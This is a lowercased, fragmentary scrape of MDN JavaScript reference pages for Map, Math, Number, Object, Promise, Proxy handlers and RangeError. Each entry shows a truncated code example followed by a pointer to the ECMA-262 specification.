however, you might want to overwrite this, in order to return parent map objects in your derived class methods: class mymap extends map { // overwrite mymap species to the parent map constructor static get [symbol.species]() { return map; } } specifications specification ecmascript (ecma-262)the definition of 'get map [ @@species ]' in that specification.
Map() constructor - JavaScript
examples creating a new map let mymap = new map([ [1, 'one'], [2, 'two'], [3, 'three'], ]) specifications specification ecmascript (ecma-262)the definition of 'map constructor' in that specification.
Map.prototype.clear() - JavaScript
examples using clear() var mymap = new map(); mymap.set('bar', 'baz'); mymap.set(1, 'foo'); mymap.size; // 2 mymap.has('bar'); // true mymap.clear(); mymap.size; // 0 mymap.has('bar') // false specifications specification ecmascript (ecma-262)the definition of 'map.prototype.clear' in that specification.
Map.prototype.entries() - JavaScript
examples using entries() let mymap = new map() mymap.set('0', 'foo') mymap.set(1, 'bar') mymap.set({}, 'baz') let mapiter = mymap.entries() console.log(mapiter.next().value) // ["0", "foo"] console.log(mapiter.next().value) // [1, "bar"] console.log(mapiter.next().value) // [object, "baz"] specifications specification ecmascript (ecma-262)the definition of 'map.prototype.entries' in that specification.
Map.prototype.forEach() - JavaScript
a line for each element in an map object: function logmapelements(value, key, map) { console.log(`map.get('${key}') = ${value}`) } new map([['foo', 3], ['bar', {}], ['baz', undefined]]).foreach(logmapelements) // logs: // "map.get('foo') = 3" // "map.get('bar') = [object object]" // "map.get('baz') = undefined" specifications specification ecmascript (ecma-262)the definition of 'map.prototype.foreach' in that specification.
Map.prototype.get() - JavaScript
examples using get() let mymap = new map(); mymap.set('bar', 'foo'); mymap.get('bar'); // returns "foo" mymap.get('baz'); // returns undefined specifications specification ecmascript (ecma-262)the definition of 'map.prototype.get' in that specification.
Map.prototype.has() - JavaScript
examples using has() let mymap = new map() mymap.set('bar', "foo") mymap.has('bar') // returns true mymap.has('baz') // returns false specifications specification ecmascript (ecma-262)the definition of 'map.prototype.has' in that specification.
Map.prototype.keys() - JavaScript
examples using keys() var mymap = new map(); mymap.set('0', 'foo'); mymap.set(1, 'bar'); mymap.set({}, 'baz'); var mapiter = mymap.keys(); console.log(mapiter.next().value); // "0" console.log(mapiter.next().value); // 1 console.log(mapiter.next().value); // object specifications specification ecmascript (ecma-262)the definition of 'map.prototype.keys' in that specification.
Map.prototype.set() - JavaScript
mymap.set('bar', 'foo') .set(1, 'foobar') .set(2, 'baz'); specifications specification ecmascript (ecma-262)the definition of 'map.prototype.set' in that specification.
Map.prototype.size - JavaScript
examples using size var mymap = new map(); mymap.set('a', 'alpha'); mymap.set('b', 'beta'); mymap.set('g', 'gamma'); mymap.size // 3 specifications specification ecmascript (ecma-262)the definition of 'map.prototype.size' in that specification.
Map.prototype.values() - JavaScript
examples using values() var mymap = new map(); mymap.set('0', 'foo'); mymap.set(1, 'bar'); mymap.set({}, 'baz'); var mapiter = mymap.values(); console.log(mapiter.next().value); // "foo" console.log(mapiter.next().value); // "bar" console.log(mapiter.next().value); // "baz" specifications specification ecmascript (ecma-262)the definition of 'map.prototype.values' in that specification.
Map - JavaScript
let merged = new map([...first, ...second, [1, 'eins']]) console.log(merged.get(1)) // eins console.log(merged.get(2)) // dos console.log(merged.get(3)) // three specifications specification ecmascript (ecma-262)the definition of 'map' in that specification.
Math.E - JavaScript
examples using math.e the following function returns e: function getnapier() { return math.e; } getnapier(); // 2.718281828459045 specifications specification ecmascript (ecma-262)the definition of 'math.e' in that specification.
Math.LN10 - JavaScript
examples using math.ln10 the following function returns the natural log of 10: function getnatlog10() { return math.ln10; } getnatlog10(); // 2.302585092994046 specifications specification ecmascript (ecma-262)the definition of 'math.ln10' in that specification.
Math.LN2 - JavaScript
examples using math.ln2 the following function returns the natural log of 2: function getnatlog2() { return math.ln2; } getnatlog2(); // 0.6931471805599453 specifications specification ecmascript (ecma-262)the definition of 'math.ln2' in that specification.
Math.LOG10E - JavaScript
examples using math.log10e the following function returns the base 10 logarithm of e: function getlog10e() { return math.log10e; } getlog10e(); // 0.4342944819032518 specifications specification ecmascript (ecma-262)the definition of 'math.log10e' in that specification.
Math.LOG2E - JavaScript
examples using math.log2e the following function returns the base 2 logarithm of e: function getlog2e() { return math.log2e; } getlog2e(); // 1.4426950408889634 specifications specification ecmascript (ecma-262)the definition of 'math.log2e' in that specification.
Math.PI - JavaScript
function calculatecircumference(radius) { return math.pi * (radius + radius); } calculatecircumference(1); // 6.283185307179586 specifications specification ecmascript (ecma-262)the definition of 'math.pi' in that specification.
Math.SQRT1_2 - JavaScript
examples using math.sqrt1_2 the following function returns 1 over the square root of 2: function getroot1_2() { return math.sqrt1_2; } getroot1_2(); // 0.7071067811865476 specifications specification ecmascript (ecma-262)the definition of 'math.sqrt1_2' in that specification.
Math.SQRT2 - JavaScript
examples using math.sqrt2 the following function returns the square root of 2: function getroot2() { return math.sqrt2; } getroot2(); // 1.4142135623730951 specifications specification ecmascript (ecma-262)the definition of 'math.sqrt2' in that specification.
Math.abs() - JavaScript
math.abs('-1'); // 1 math.abs(-2); // 2 math.abs(null); // 0 math.abs(''); // 0 math.abs([]); // 0 math.abs([2]); // 2 math.abs([1,2]); // nan math.abs({}); // nan math.abs('string'); // nan math.abs(); // nan specifications specification ecmascript (ecma-262)the definition of 'math.abs' in that specification.
Math.acos() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'math.acos' in that specification.
Math.acosh() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'math.acosh' in that specification.
Math.asin() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'math.asin' in that specification.
Math.asinh() - JavaScript
examples using math.asinh() math.asinh(1); // 0.881373587019543 math.asinh(0); // 0 specifications specification ecmascript (ecma-262)the definition of 'math.asinh' in that specification.
Math.cbrt() - JavaScript
-pow(-x, 1/3) : pow(x, 1/3); }; })(math.pow); // localize math.pow to increase efficiency } examples using math.cbrt() math.cbrt(nan); // nan math.cbrt(-1); // -1 math.cbrt(-0); // -0 math.cbrt(-infinity); // -infinity math.cbrt(0); // 0 math.cbrt(1); // 1 math.cbrt(infinity); // infinity math.cbrt(null); // 0 math.cbrt(2); // 1.2599210498948732 specifications specification ecmascript (ecma-262)the definition of 'math.cbrt' in that specification.
Math.ceil() - JavaScript
d10(-55.1, 1); // -60 // floor math.floor10(55.59, -1); // 55.5 math.floor10(59, 1); // 50 math.floor10(-55.51, -1); // -55.6 math.floor10(-51, 1); // -60 // ceil math.ceil10(55.51, -1); // 55.6 math.ceil10(51, 1); // 60 math.ceil10(-55.59, -1); // -55.5 math.ceil10(-59, 1); // -50 specifications specification ecmascript (ecma-262)the definition of 'math.ceil' in that specification.
Math.clz32() - JavaScript
var asuint = x >>> 0; if (asuint === 0) { return 32; } return 31 - (log(asuint) / ln2 | 0) |0; // the "| 0" acts like math.floor }; })(math.log, math.ln2); examples using math.clz32() math.clz32(1); // 31 math.clz32(1000); // 22 math.clz32(); // 32 var stuff = [nan, infinity, -infinity, 0, -0, false, null, undefined, 'foo', {}, []]; stuff.every(n => math.clz32(n) == 32); // true math.clz32(true); // 31 math.clz32(3.5); // 30 specifications specification ecmascript (ecma-262)the definition of 'math.clz32' in that specification.
Math.cos() - JavaScript
examples using math.cos() math.cos(0); // 1 math.cos(1); // 0.5403023058681398 math.cos(math.pi); // -1 math.cos(2 * math.pi); // 1 specifications specification ecmascript (ecma-262)the definition of 'math.cos' in that specification.
Math.cosh() - JavaScript
x) { return (math.exp(x) + math.exp(-x)) / 2; } or using only one call to the math.exp() function: math.cosh = math.cosh || function(x) { var y = math.exp(x); return (y + 1 / y) / 2; }; examples using math.cosh() math.cosh(0); // 1 math.cosh(1); // 1.5430806348152437 math.cosh(-1); // 1.5430806348152437 specifications specification ecmascript (ecma-262)the definition of 'math.cosh' in that specification.
Math.exp() - JavaScript
examples using math.exp() math.exp(-1); // 0.36787944117144233 math.exp(0); // 1 math.exp(1); // 2.718281828459045 specifications specification ecmascript (ecma-262)the definition of 'math.exp' in that specification.
Math.expm1() - JavaScript
polyfill this can be emulated with the help of the math.exp() function: math.expm1 = math.expm1 || function(x) { return math.exp(x) - 1; }; examples using math.expm1() math.expm1(-1); // -0.6321205588285577 math.expm1(0); // 0 math.expm1(1); // 1.718281828459045 specifications specification ecmascript (ecma-262)the definition of 'math.expm1' in that specification.
Math.floor() - JavaScript
; // -55.6 round10(-55, 1); // -50 round10(-55.1, 1); // -60 // floor floor10(55.59, -1); // 55.5 floor10(59, 1); // 50 floor10(-55.51, -1); // -55.6 floor10(-51, 1); // -60 // ceil ceil10(55.51, -1); // 55.6 ceil10(51, 1); // 60 ceil10(-55.59, -1); // -55.5 ceil10(-59, 1); // -50 specifications specification ecmascript (ecma-262)the definition of 'math.floor' in that specification.
Math.imul() - JavaScript
x_safe_integer /*0x1fffffffffffff*/ if (opa & 0xffc00000 /*!== 0*/) result += (opa & 0xffc00000) * opb |0; return result |0; }; examples using math.imul() math.imul(2, 4); // 8 math.imul(-1, 8); // -8 math.imul(-2, -2); // 4 math.imul(0xffffffff, 5); // -5 math.imul(0xfffffffe, 5); // -10 specifications specification ecmascript (ecma-262)the definition of 'math.imul' in that specification.
Math.log10() - JavaScript
examples using math.log10() math.log10(2); // 0.3010299956639812 math.log10(1); // 0 math.log10(0); // -infinity math.log10(-2); // nan math.log10(100000); // 5 polyfill this can be emulated with the following function: math.log10 = math.log10 || function(x) { return math.log(x) * math.log10e; }; specifications specification ecmascript (ecma-262)the definition of 'math.log10' in that specification.
Math.log2() - JavaScript
if (!math.log2) math.log2 = function(x) { return math.log(x) * math.log2e; }; examples using math.log2() math.log2(3); // 1.584962500721156 math.log2(2); // 1 math.log2(1); // 0 math.log2(0); // -infinity math.log2(-2); // nan math.log2(1024); // 10 specifications specification ecmascript (ecma-262)the definition of 'math.log2' in that specification.
Math.pow() - JavaScript
ath.pow(-7, 3); // -343 (cubes can be negative) math.pow(-7, 0.5); // nan (negative numbers don't have a real square root) // due to "even" and "odd" roots laying close to each other, // and limits in the floating number precision, // negative bases with fractional exponents always return nan math.pow(-7, 1/3); // nan specifications specification ecmascript (ecma-262)the definition of 'math.pow' in that specification.
Math.round() - JavaScript
examples using round math.round( 20.49); // 20 math.round( 20.5 ); // 21 math.round( 42 ); // 42 math.round(-20.5 ); // -20 math.round(-20.51); // -21 specifications specification ecmascript (ecma-262)the definition of 'math.round' in that specification.
Math.sign() - JavaScript
examples using math.sign() math.sign(3); // 1 math.sign(-3); // -1 math.sign('-3'); // -1 math.sign(0); // 0 math.sign(-0); // -0 math.sign(nan); // nan math.sign('foo'); // nan math.sign(); // nan specifications specification ecmascript (ecma-262)the definition of 'math.sign' in that specification.
Math.sin() - JavaScript
examples using math.sin() math.sin(0); // 0 math.sin(1); // 0.8414709848078965 math.sin(math.pi / 2); // 1 specifications specification ecmascript (ecma-262)the definition of 'math.sin' in that specification.
Math.sinh() - JavaScript
tion: math.sinh = math.sinh || function(x) { return (math.exp(x) - math.exp(-x)) / 2; } or using only one call to the math.exp() function: math.sinh = math.sinh || function(x) { var y = math.exp(x); return (y - 1 / y) / 2; } examples using math.sinh() math.sinh(0); // 0 math.sinh(1); // 1.1752011936438014 specifications specification ecmascript (ecma-262)the definition of 'math.sinh' in that specification.
Math.sqrt() - JavaScript
examples using math.sqrt() math.sqrt(9); // 3 math.sqrt(2); // 1.414213562373095 math.sqrt(1); // 1 math.sqrt(0); // 0 math.sqrt(-1); // nan math.sqrt(-0); // -0 specifications specification ecmascript (ecma-262)the definition of 'math.sqrt' in that specification.
Math.tan() - JavaScript
function gettandeg(deg) { var rad = deg * math.pi/180; return math.tan(rad); } specifications specification ecmascript (ecma-262)the definition of 'math.tan' in that specification.
Math - JavaScript
returning a random integer between two bounds this can be achieved with a combination of math.random() and math.floor(): function random(min, max) { const num = math.floor(math.random() * (max - min + 1)) + min; return num; } random(1, 10); specifications specification ecmascript (ecma-262)the definition of 'math' in that specification.
Number.EPSILON - JavaScript
polyfill if (number.epsilon === undefined) { number.epsilon = math.pow(2, -52); } examples testing equality x = 0.2; y = 0.3; z = 0.1; equal = (math.abs(x - y + z) < number.epsilon); specifications specification ecmascript (ecma-262)the definition of 'number.epsilon' in that specification.
Number.MAX_SAFE_INTEGER - JavaScript
number.max_safe_integer * number.epsilon; // 2 specifications specification ecmascript (ecma-262)the definition of 'number.max_safe_integer' in that specification.
Number.MIN_SAFE_INTEGER - JavaScript
examples using min_safe_integer number.min_safe_integer // -9007199254740991 -(math.pow(2, 53) - 1) // -9007199254740991 specifications specification ecmascript (ecma-262)the definition of 'number.min_safe_integer' in that specification.
Number.MIN_VALUE - JavaScript
if (num1 / num2 >= number.min_value) { func1(); } else { func2(); } specifications specification ecmascript (ecma-262)the definition of 'number.min_value' in that specification.
Number.NaN - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'number.nan' in that specification.
Number() constructor - JavaScript
examples creating number objects const a = new number('123'); // a === 123 is false const b = number('123'); // b === 123 is true a instanceof number; // is true b instanceof number; // is false specifications specification ecmascript (ecma-262)the definition of 'number constructor' in that specification.
Number.isNaN() - JavaScript
al isnan() number.isnan('nan'); // false number.isnan(undefined); // false number.isnan({}); // false number.isnan('blabla'); // false // these all return false number.isnan(true); number.isnan(null); number.isnan(37); number.isnan('37'); number.isnan('37.37'); number.isnan(''); number.isnan(' '); specifications specification ecmascript (ecma-262)the definition of 'number.isnan' in that specification.
Number.isSafeInteger() - JavaScript
ger = number.issafeinteger || function (value) { return number.isinteger(value) && math.abs(value) <= number.max_safe_integer; }; examples using issafeinteger number.issafeinteger(3); // true number.issafeinteger(math.pow(2, 53)); // false number.issafeinteger(math.pow(2, 53) - 1); // true number.issafeinteger(nan); // false number.issafeinteger(infinity); // false number.issafeinteger('3'); // false number.issafeinteger(3.1); // false number.issafeinteger(3.0); // true specifications specification ecmascript (ecma-262)the definition of 'number.issafeinteger' in that specification.
Number.parseFloat() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'number.parsefloat' in that specification.
Number.parseInt() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'number.parseint' in that specification.
Number.prototype.toExponential() - JavaScript
using toexponential var numobj = 77.1234; console.log(numobj.toexponential()); // logs 7.71234e+1 console.log(numobj.toexponential(4)); // logs 7.7123e+1 console.log(numobj.toexponential(2)); // logs 7.71e+1 console.log(77.1234.toexponential()); // logs 7.71234e+1 console.log(77 .toexponential()); // logs 7.7e+1 specifications specification ecmascript (ecma-262)the definition of 'number.prototype.toexponential' in that specification.
Number.prototype.toFixed() - JavaScript
note it rounds down - see warning above -2.34.tofixed(1) // returns -2.3 (due to operator precedence, negative number literals don't return a string...) (-2.34).tofixed(1) // returns '-2.3' specifications specification ecmascript (ecma-262)the definition of 'number.prototype.tofixed' in that specification.
Number.prototype.toPrecision() - JavaScript
()) // logs '0.000123' console.log(numobj.toprecision(5)) // logs '0.00012300' console.log(numobj.toprecision(2)) // logs '0.00012' console.log(numobj.toprecision(1)) // logs '0.0001' // note that exponential notation might be returned in some circumstances console.log((1234.5).toprecision(2)) // logs '1.2e+3' specifications specification ecmascript (ecma-262)the definition of 'number.prototype.toprecision' in that specification.
Number.prototype.toString() - JavaScript
ole.log((17).tostring()) // displays '17' console.log((17.2).tostring()) // displays '17.2' let x = 6 console.log(x.tostring(2)) // displays '110' console.log((254).tostring(16)) // displays 'fe' console.log((-10).tostring(2)) // displays '-1010' console.log((-0xff).tostring(2)) // displays '-11111111' specifications specification ecmascript (ecma-262)the definition of 'number.prototype.tostring' in that specification.
Number.prototype.valueOf() - JavaScript
examples using valueof let numobj = new number(10) console.log(typeof numobj) // object let num = numobj.valueof() console.log(num) // 10 console.log(typeof num) // number specifications specification ecmascript (ecma-262)the definition of 'number.prototype.valueof' in that specification.
Object() constructor - JavaScript
examples creating a new object let o = new object() o.foo = 42 console.log(o) // object { foo: 42 } using object given undefined and null types the following examples store an empty object object in o: let o = new object() let o = new object(undefined) let o = new object(null) specifications specification ecmascript (ecma-262)the definition of 'object constructor' in that specification.
Object.prototype.__lookupGetter__() - JavaScript
'foo' : 'bar'; }) specifications specification ecmascript (ecma-262)the definition of 'object.prototype.__lookupgetter__()' in that specification.
Object.prototype.__lookupSetter__() - JavaScript
rd ways to get a property setter var obj = { set foo(value) { this.bar = value; } }; // non-standard and deprecated way obj.__lookupsetter__('foo') // (function(value) { this.bar = value; }) // standard-compliant way object.getownpropertydescriptor(obj, 'foo').set; // (function(value) { this.bar = value; }) specifications specification ecmascript (ecma-262)the definition of 'object.prototype.__lookupsetter__()' in that specification.
Object.defineProperty() - JavaScript
ass() { } myclass.prototype.x = 1; object.defineproperty(myclass.prototype, "y", { writable: false, value: 1 }); var a = new myclass(); a.x = 2; console.log(a.x); // 2 console.log(myclass.prototype.x); // 1 a.y = 2; // ignored, throws in strict mode console.log(a.y); // 1 console.log(myclass.prototype.y); // 1 specifications specification ecmascript (ecma-262)the definition of 'object.defineproperty' in that specification.
Object.entries() - JavaScript
const obj = { foo: 'bar', baz: 42 }; object.entries(obj).foreach(([key, value]) => console.log(`${key}: ${value}`)); // "foo: bar", "baz: 42" specifications specification ecmascript (ecma-262)the definition of 'object.entries' in that specification.
Object.fromEntries() - JavaScript
for more details, refer to: https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500 specifications specification ecmascript (ecma-262)the definition of 'object.fromentries' in that specification.
Object.getOwnPropertyDescriptor() - JavaScript
object.getownpropertydescriptor('foo', 0); // typeerror: "foo" is not an object // es5 code object.getownpropertydescriptor('foo', 0); // object returned by es2015 code: { // configurable: false, // enumerable: true, // value: "f", // writable: false // } specifications specification ecmascript (ecma-262)the definition of 'object.getownpropertydescriptor' in that specification.
Object.getOwnPropertyDescriptors() - JavaScript
instead, you can use this code to set the prototype: function superclass() {} superclass.prototype = { // define your methods and properties here }; function subclass() {} subclass.prototype = object.create( superclass.prototype, { // define your methods and properties here } ); specifications specification ecmascript (ecma-262)the definition of 'object.getownpropertydescriptors' in that specification.
Object.getOwnPropertyNames() - JavaScript
onenum.filter(function(key) { var indexinenum = enum_only.indexof(key); if (indexinenum == -1) { // not found in enum_only keys, // meaning that the key is non-enumerable, // so return true so we keep this in the filter return true; } else { return false; } }); console.log(nonenum_only); specifications specification ecmascript (ecma-262)the definition of 'object.getownpropertynames' in that specification.
Object.getPrototypeOf() - JavaScript
object.getprototypeof('foo'); // typeerror: "foo" is not an object (es5 code) object.getprototypeof('foo'); // string.prototype (es2015 code) specifications specification ecmascript (ecma-262)the definition of 'object.getprototypeof' in that specification.
Object.prototype.hasOwnProperty() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'object.prototype.hasownproperty' in that specification.
Object.is() - JavaScript
.is([], []); // false var foo = { a: 1 }; var bar = { a: 1 }; object.is(foo, foo); // true object.is(foo, bar); // false object.is(null, null); // true // special cases object.is(0, -0); // false object.is(-0, -0); // true object.is(nan, 0/0); // true specifications specification ecmascript (ecma-262)the definition of 'object.is' in that specification.
Object.prototype.isPrototypeOf() - JavaScript
for example, check if baz object descends from foo.prototype: if (foo.prototype.isprototypeof(baz)) { // do something safe } specifications specification ecmascript (ecma-262)the definition of 'object.prototype.isprototypeof' in that specification.
Object.keys() - JavaScript
// in es5 object.keys('foo'); // typeerror: "foo" is not an object // in es2015+ object.keys('foo'); // ["0", "1", "2"] specifications specification ecmascript (ecma-262)the definition of 'object.keys' in that specification.
Object.preventExtensions() - JavaScript
object.preventextensions(1); // typeerror: 1 is not an object (es5 code) object.preventextensions(1); // 1 (es2015 code) specifications specification ecmascript (ecma-262)the definition of 'object.preventextensions' in that specification.
Object.prototype.propertyIsEnumerable() - JavaScript
are on the prototype which // propertyisenumerable does not consider (even though the last two // are iteratable with for-in) o.propertyisenumerable('prototype'); // returns false (as of js 1.8.1/ff3.6) o.propertyisenumerable('constructor'); // returns false o.propertyisenumerable('firstmethod'); // returns false specifications specification ecmascript (ecma-262)the definition of 'object.prototype.propertyisenumerable' in that specification.
Object.seal() - JavaScript
object.seal(1); // typeerror: 1 is not an object (es5 code) object.seal(1); // 1 (es2015 code) specifications specification ecmascript (ecma-262)the definition of 'object.seal' in that specification.
Object.setPrototypeOf() - JavaScript
object.defineproperty(this, key, { value: obj[key], }); } }; fn.prototype = proto; return new fn(); } } } examples using object.setprototypeof var dict = object.setprototypeof({}, null); specifications specification ecmascript (ecma-262)the definition of 'object.setprototypeof' in that specification.
Object.prototype.toLocaleString() - JavaScript
with the correct separators: for example: const testnumber = 2901234564; // "2901234564" let denumber = testnumber.tolocalestring('de'); // "2.901.234.564" let frnumber = testnumber.tolocalestring('fr'); // "2 901 234 564" specifications specification ecmascript (ecma-262)the definition of 'object.prototype.tolocalestring' in that specification.
Object.prototype.toString() - JavaScript
date = new date(); object.prototype.tostring.call(mydate); // [object date] mydate[symbol.tostringtag] = 'mydate'; object.prototype.tostring.call(mydate); // [object mydate] date.prototype[symbol.tostringtag] = 'prototype polluted'; object.prototype.tostring.call(new date()); // [object prototype polluted] specifications specification ecmascript (ecma-262)the definition of 'object.prototype.tostring' in that specification.
Object.prototype.valueOf() - JavaScript
te) +new date() // same as (new date()).gettime() +"foo" // nan (string to number) +{} // nan +[] // 0 (tostring() returns an empty string list) +[1] // 1 +[1,2] // nan +new set([1]) // nan +bigint(1) // uncaught typeerror: cannot convert a bigint value to a number +undefined // nan +null // 0 +true // 1 +false // 0 specifications specification ecmascript (ecma-262)the definition of 'object.prototype.valueof' in that specification.
Object.values() - JavaScript
, 'a'] // getfoo is property which isn't enumerable const my_obj = object.create({}, { getfoo: { value: function() { return this.foo; } } }); my_obj.foo = 'bar'; console.log(object.values(my_obj)); // ['bar'] // non-object argument will be coerced to an object console.log(object.values('foo')); // ['f', 'o', 'o'] specifications specification ecmascript (ecma-262)the definition of 'object.values' in that specification.
Promise() constructor - JavaScript
a function with promise functionality, have it return a promise: function myasyncfunction(url) { return new promise((resolve, reject) => { const xhr = new xmlhttprequest() xhr.open("get", url) xhr.onload = () => resolve(xhr.responsetext) xhr.onerror = () => reject(xhr.statustext) xhr.send() }); } specifications specification ecmascript (ecma-262)the definition of 'promise constructor' in that specification.
Promise.all() - JavaScript
p2 = new promise((resolve, reject) => { reject(new error('p2_immediate_rejection')); }); promise.all([ p1.catch(error => { return error }), p2.catch(error => { return error }), ]).then(values => { console.log(values[0]) // "p1_delayed_resolution" console.error(values[1]) // "error: p2_immediate_rejection" }) specifications specification ecmascript (ecma-262)the definition of 'promise.all' in that specification.
Promise.allSettled() - JavaScript
mise(resolve => settimeout(() => resolve(66), 0)), 99, promise.reject(new error('an error')) ]) .then(values => console.log(values)); // [ // {status: "fulfilled", value: 33}, // {status: "fulfilled", value: 66}, // {status: "fulfilled", value: 99}, // {status: "rejected", reason: error: an error} // ] specifications specification ecmascript (ecma-262)the definition of 'promise.allsettled' in that specification.
Promise.prototype.catch() - JavaScript
called console.error("catch p1!"); console.error(reason); }); p2.then(function (value) { console.log("next promise's onfulfilled"); /* next promise's onfulfilled */ console.log(value); /* calling next */ }, function (reason) { console.log("next promise's onrejected"); console.log(reason); }); specifications specification ecmascript (ecma-262)the definition of 'promise.prototype.catch' in that specification.
Promise.prototype.finally() - JavaScript
for more details, refer to: https://discourse.mozilla.org/t/mdn-rfc-001-mdn-wiki-pages-shouldnt-be-a-distributor-of-polyfills/24500 specifications specification ecmascript (ecma-262)the definition of 'promise.prototype.finally' in that specification.
Promise.race() - JavaScript
{ settimeout(() => resolve('five'), 500); }); var p6 = new promise(function(resolve, reject) { settimeout(() => reject(new error('six')), 100); }); promise.race([p5, p6]) .then(function(value) { // not called }, function(error) { console.log(error.message); // "six" // p6 is faster, so it rejects }); specifications specification ecmascript (ecma-262)the definition of 'promise.race' in that specification.
Promise.reject() - JavaScript
examples using the static promise.reject() method promise.reject(new error('fail')).then(function() { // not called }, function(error) { console.error(error); // stacktrace }); specifications specification ecmascript (ecma-262)the definition of 'promise.reject' in that specification.
Promise.resolve() - JavaScript
(e); // typeerror: throwing }); // thenable throws after callback // promise resolves var thenable = { then: function(resolve) { resolve('resolving'); throw new typeerror('throwing'); }}; var p3 = promise.resolve(thenable); p3.then(function(v) { console.log(v); // "resolving" }, function(e) { // not called }); specifications specification ecmascript (ecma-262)the definition of 'promise.resolve' in that specification.
Promise.prototype.then() - JavaScript
promise.resolve(args).then(rfab(null, fn, null)) : nexttickpromise(), undefined ); nexttick.ntp = nexttickpromise; return nexttick; })(); specifications specification ecmascript (ecma-262)the definition of 'promise.prototype.then' in that specification.
handler.apply() - JavaScript
const p = new proxy(function() {}, { apply: function(target, thisarg, argumentslist) { console.log('called: ' + argumentslist.join(', ')); return argumentslist[0] + argumentslist[1] + argumentslist[2]; } }); console.log(p(1, 2, 3)); // "called: 1, 2, 3" // 6 specifications specification ecmascript (ecma-262)the definition of '[[call]]' in that specification.
handler.defineProperty() - JavaScript
merable configurable writable value get set const p = new proxy({}, { defineproperty(target, prop, descriptor) { console.log(descriptor); return reflect.defineproperty(target, prop, descriptor); } }); object.defineproperty(p, 'name', { value: 'proxy', type: 'custom' }); // { value: 'proxy' } specifications specification ecmascript (ecma-262)the definition of '[[defineownproperty]]' in that specification.
handler.deleteProperty() - JavaScript
le.log('property not found: ' + prop) return false } } }) let result p.a = 10 console.log('a' in p) // true result = delete p.a // "property removed: a" console.log(result) // true console.log('a' in p) // false result = delete p.a // "property not found: a" console.log(result) // false specifications specification ecmascript (ecma-262)the definition of '[[delete]]' in that specification.
handler.get() - JavaScript
const obj = {}; object.defineproperty(obj, 'a', { configurable: false, enumerable: false, value: 10, writable: false }); const p = new proxy(obj, { get: function(target, property) { return 20; } }); p.a; // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[get]]' in that specification.
handler.getOwnPropertyDescriptor() - JavaScript
const obj = { a: 10 }; object.preventextensions(obj); const p = new proxy(obj, { getownpropertydescriptor: function(target, prop) { return undefined; } }); object.getownpropertydescriptor(p, 'a'); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[getownproperty]]' in that specification.
handler.getPrototypeOf() - JavaScript
typeof(target) { return 'foo'; } }); object.getprototypeof(p); // typeerror: "foo" is not an object or null const obj = object.preventextensions({}); const p = new proxy(obj, { getprototypeof(target) { return {}; } }); object.getprototypeof(p); // typeerror: expected same prototype value specifications specification ecmascript (ecma-262)the definition of '[[getprototypeof]]' in that specification.
handler.has() - JavaScript
const obj = { a: 10 }; object.preventextensions(obj); const p = new proxy(obj, { has: function(target, prop) { return false; } }); 'a' in p; // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[hasproperty]]' in that specification.
handler.isExtensible() - JavaScript
const p = new proxy({}, { isextensible: function(target) { return false; } }); object.isextensible(p); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[isextensible]]' in that specification.
handler.ownKeys() - JavaScript
alse, enumerable: true, value: 10 } ); const p = new proxy(obj, { ownkeys: function(target) { return [123, 12.5, true, false, undefined, null, {}, []]; } }); console.log(object.getownpropertynames(p)); // typeerror: proxy [[ownpropertykeys]] must return an array // with only string and symbol elements specifications specification ecmascript (ecma-262)the definition of '[[ownpropertykeys]]' in that specification.
handler.preventExtensions() - JavaScript
const p = new proxy({}, { preventextensions: function(target) { return true; } }); object.preventextensions(p); // typeerror is thrown specifications specification ecmascript (ecma-262)the definition of '[[preventextensions]]' in that specification.
handler.set() - JavaScript
w proxy({}, { set: function(target, prop, value, receiver) { target[prop] = value; console.log('property set: ' + prop + ' = ' + value); return true; } }) console.log('a' in p); // false p.a = 10; // "property set: a = 10" console.log('a' in p); // true console.log(p.a); // 10 specifications specification ecmascript (ecma-262)the definition of '[[set]]' in that specification.
handler.setPrototypeOf() - JavaScript
setprototypeof(target, newproto) { throw new error('custom error'); } }; const newproto = {}, target = {}; const p2 = new proxy(target, handlerthrows); object.setprototypeof(p2, newproto); // throws new error("custom error") reflect.setprototypeof(p2, newproto); // throws new error("custom error") specifications specification ecmascript (ecma-262)the definition of '[[setprototypeof]]' in that specification.
Proxy() constructor - JavaScript
const handler = { get: function(target, prop, receiver) { if (prop === "proxied") { return "replaced value"; } return reflect.get(...arguments); } }; const proxy = new proxy(target, handler); console.log(proxy.notproxied); // "original value" console.log(proxy.proxied); // "replaced value" specifications specification ecmascript (ecma-262)the definition of 'proxy constructor' in that specification.
Proxy.revocable() - JavaScript
"[[" + name + "]]"; } }); var proxy = revocable.proxy; console.log(proxy.foo); // "[[foo]]" revocable.revoke(); console.log(proxy.foo); // typeerror is thrown proxy.foo = 1 // typeerror again delete proxy.foo; // still typeerror typeof proxy // "object", typeof doesn't trigger any trap specifications specification ecmascript (ecma-262)the definition of 'proxy revocation functions' in that specification.
Proxy - JavaScript
e: vvalue, writable: true, enumerable: true, configurable: false } : undefined; }, }); /* cookies test */ console.log(doccookies.my_cookie1 = 'first value'); console.log(doccookies.getitem('my_cookie1')); doccookies.setitem('my_cookie1', 'changed value'); console.log(doccookies.my_cookie1); specifications specification ecmascript (ecma-262)the definition of 'proxy' in that specification.
RangeError() constructor - JavaScript
es) function check(value) { if(["apple", "banana", "carrot"].includes(value) === false) { throw new rangeerror('the argument must be an "apple", "banana", or "carrot".') } } try { check("cabbage") } catch(error) { if(error instanceof rangeerror) { // handle the error } } specifications specification ecmascript (ecma-262)the definition of 'nativeerror constructors' in that specification.
RangeError - JavaScript
es) function check(value) { if(["apple", "banana", "carrot"].includes(value) === false) { throw new rangeerror('the argument must be an "apple", "banana", or "carrot".') } } try { check("cabbage") } catch(error) { if(error instanceof rangeerror) { // handle the error } } specifications specification ecmascript (ecma-262)the definition of 'rangeerror' in that specification.
ReferenceError() constructor - JavaScript
